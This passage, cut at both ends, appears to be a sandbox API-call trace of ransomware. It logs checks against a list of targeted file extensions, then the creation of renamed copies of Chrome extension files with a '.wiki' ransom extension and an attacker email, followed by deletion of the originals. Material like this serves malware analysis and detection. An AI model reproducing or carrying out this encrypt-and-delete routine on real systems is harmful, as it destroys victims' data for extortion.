HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json") returned 156 [0174.989] lstrlenW (lpString=".1cd") returned 4 [0174.989] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.989] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json") returned 156 [0174.989] lstrlenW (lpString=".jpg") returned 4 [0174.989] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.989] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json") returned 156 [0174.989] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json") returned 156 [0174.989] lstrlenW (lpString=".doc") returned 4 [0174.989] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.989] lstrlenW (lpString=".docx") returned 5 [0174.989] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.989] lstrlenW (lpString=".pdf") returned 4 [0174.989] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.989] lstrlenW (lpString=".xls") returned 4 [0174.989] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.989] lstrlenW (lpString=".xlsx") returned 5 [0174.989] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.989] lstrlenW (lpString=".ppt") returned 4 [0174.989] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.989] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json") returned 156 [0174.989] lstrlenW (lpString=".zip") returned 4 [0174.989] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.989] lstrlenW (lpString=".rar") returned 4 [0174.989] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.989] lstrlenW (lpString=".bz2") returned 4 [0174.990] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.990] lstrlenW (lpString=".7z") returned 3 [0174.990] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.990] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json") returned 156 [0174.990] lstrlenW (lpString=".dbf") returned 4 [0174.990] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.990] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json") returned 156 [0174.990] lstrlenW (lpString=".1cd") returned 4 [0174.990] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.990] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json") returned 156 [0174.990] lstrlenW (lpString=".jpg") returned 4 [0174.990] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.990] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.990] lstrlenW (lpString="messages.json") returned 13 [0174.990] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0174.991] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=229) returned 1 [0174.991] CloseHandle (hObject=0x320) returned 1 [0174.991] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json")) returned 0x2020 [0174.991] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.991] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0174.991] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.991] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.991] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.992] GetLastError () returned 0x0 [0174.992] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xe5, lpOverlapped=0x0) returned 1 [0175.076] WriteFile (in: hFile=0x124, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0175.077] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0175.077] WriteFile (in: hFile=0x124, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.077] SetEndOfFile (hFile=0x124) returned 1 [0175.077] CloseHandle (hObject=0x124) returned 1 [0175.077] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.077] SetEndOfFile (hFile=0x320) returned 1 [0175.078] CloseHandle (hObject=0x320) returned 1 [0175.078] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.078] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json")) returned 1 [0175.079] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json") returned 151 [0175.079] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json") returned 151 [0175.079] lstrlenW (lpString=".doc") returned 4 [0175.079] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.079] lstrlenW (lpString=".docx") returned 5 [0175.079] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.079] lstrlenW (lpString=".pdf") returned 4 [0175.079] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.079] lstrlenW (lpString=".xls") returned 4 [0175.079] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.079] lstrlenW (lpString=".xlsx") returned 5 [0175.079] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.079] lstrlenW (lpString=".ppt") returned 4 [0175.079] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.079] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json") returned 151 [0175.079] lstrlenW (lpString=".zip") returned 4 [0175.079] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.079] lstrlenW (lpString=".rar") returned 4 [0175.079] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.079] lstrlenW (lpString=".bz2") returned 4 [0175.079] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.079] lstrlenW (lpString=".7z") returned 3 [0175.079] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.079] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json") returned 151 [0175.080] lstrlenW (lpString=".dbf") returned 4 [0175.080] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.080] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json") returned 151 [0175.080] lstrlenW (lpString=".1cd") returned 4 [0175.080] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.080] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json") returned 151 [0175.080] lstrlenW (lpString=".jpg") returned 4 [0175.080] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.080] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json") returned 151 [0175.080] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json") returned 151 [0175.080] lstrlenW (lpString=".doc") returned 4 [0175.080] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.080] lstrlenW (lpString=".docx") returned 5 [0175.080] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.080] lstrlenW (lpString=".pdf") returned 4 [0175.080] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.080] lstrlenW (lpString=".xls") returned 4 [0175.080] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.080] lstrlenW (lpString=".xlsx") returned 5 [0175.080] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.080] lstrlenW (lpString=".ppt") returned 4 [0175.080] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.080] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json") returned 151 [0175.080] lstrlenW (lpString=".zip") returned 4 [0175.080] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.080] lstrlenW (lpString=".rar") returned 4 [0175.080] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.080] lstrlenW (lpString=".bz2") returned 4 [0175.080] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.080] lstrlenW (lpString=".7z") returned 3 [0175.081] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.081] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json") returned 151 [0175.081] lstrlenW (lpString=".dbf") returned 4 [0175.081] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.081] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json") returned 151 [0175.081] lstrlenW (lpString=".1cd") returned 4 [0175.081] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.081] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json") returned 151 [0175.081] lstrlenW (lpString=".jpg") returned 4 [0175.081] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.081] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.081] lstrlenW (lpString="messages.json") returned 13 [0175.081] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0175.082] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=213) returned 1 [0175.082] CloseHandle (hObject=0x320) returned 1 [0175.082] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_gb\\messages.json")) returned 0x2020 [0175.082] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_gb\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.082] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0175.082] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.082] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.082] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_gb\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0175.083] GetLastError () returned 0x0 [0175.083] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xd5, lpOverlapped=0x0) returned 1 [0175.084] WriteFile (in: hFile=0x124, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0175.085] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0175.085] WriteFile (in: hFile=0x124, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.085] SetEndOfFile (hFile=0x124) returned 1 [0175.085] CloseHandle (hObject=0x124) returned 1 [0175.085] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.085] SetEndOfFile (hFile=0x320) returned 1 [0175.086] CloseHandle (hObject=0x320) returned 1 [0175.086] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.086] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_gb\\messages.json")) returned 1 [0175.086] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json") returned 154 [0175.086] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json") returned 154 [0175.086] lstrlenW (lpString=".doc") returned 4 [0175.086] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.086] lstrlenW (lpString=".docx") returned 5 [0175.086] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.086] lstrlenW (lpString=".pdf") returned 4 [0175.086] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.086] lstrlenW (lpString=".xls") returned 4 [0175.087] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.087] lstrlenW (lpString=".xlsx") returned 5 [0175.087] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.087] lstrlenW (lpString=".ppt") returned 4 [0175.087] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.087] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json") returned 154 [0175.087] lstrlenW (lpString=".zip") returned 4 [0175.087] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.087] lstrlenW (lpString=".rar") returned 4 [0175.087] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.087] lstrlenW (lpString=".bz2") returned 4 [0175.087] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.087] lstrlenW (lpString=".7z") returned 3 [0175.087] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.087] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json") returned 154 [0175.087] lstrlenW (lpString=".dbf") returned 4 [0175.087] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.087] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json") returned 154 [0175.087] lstrlenW (lpString=".1cd") returned 4 [0175.087] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.087] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json") returned 154 [0175.087] lstrlenW (lpString=".jpg") returned 4 [0175.087] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.087] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json") returned 154 [0175.087] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json") returned 154 [0175.087] lstrlenW (lpString=".doc") returned 4 [0175.087] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.087] lstrlenW (lpString=".docx") returned 5 [0175.088] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.088] lstrlenW (lpString=".pdf") returned 4 [0175.088] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.088] lstrlenW (lpString=".xls") returned 4 [0175.088] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.088] lstrlenW (lpString=".xlsx") returned 5 [0175.088] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.088] lstrlenW (lpString=".ppt") returned 4 [0175.088] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.088] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json") returned 154 [0175.088] lstrlenW (lpString=".zip") returned 4 [0175.088] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.088] lstrlenW (lpString=".rar") returned 4 [0175.088] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.088] lstrlenW (lpString=".bz2") returned 4 [0175.088] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.088] lstrlenW (lpString=".7z") returned 3 [0175.088] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.088] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json") returned 154 [0175.088] lstrlenW (lpString=".dbf") returned 4 [0175.088] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.088] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json") returned 154 [0175.088] lstrlenW (lpString=".1cd") returned 4 [0175.088] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.088] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json") returned 154 [0175.088] lstrlenW (lpString=".jpg") returned 4 [0175.088] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.089] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.089] lstrlenW (lpString="messages.json") returned 13 [0175.089] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user 